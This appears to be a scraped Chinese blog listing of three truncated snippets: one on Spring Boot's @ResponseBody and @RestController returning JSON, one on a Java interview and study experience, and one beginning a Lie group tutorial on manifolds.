响应数据 如何加载响应数据呢 其实在SpringBoot&#xff0c;已经有名为RessponseBody的方法注解为我们提供的响应的方法&#xff0c;他的作用是将方法返回值直接响应&#xff0c;如果返回值类型为实体对象/集合&#xff0c;则会转换为JSON格式响应。 而RestController已经在内…

Java真实面试题,offer已到手

关于学习 在黑马程序员刚刚开始的时候学习尽头非常足&#xff0c;到后面逐渐失去了一些兴趣&#xff0c;以至于后面上课会出现走神等问题&#xff0c;但是毕业时后悔晚矣。等到开始学习项目一的时候&#xff0c;思路总会比别人慢一些&#xff0c;不看讲义写不出来代码。 建议…

Lie group 专题:Lie 群

Lie group 专题&#xff1a;Lie 群 流形 流形的定义 一个m维流形是满足以下条件的集合M&#xff1a;存在可数多个称为坐标卡&#xff08;图集&#xff09;的子集合族.以及映到的连通开子集上的一对一映射&#xff0c;,称为局部坐标映射&#xff0c;满足以下条件 坐标卡覆盖M…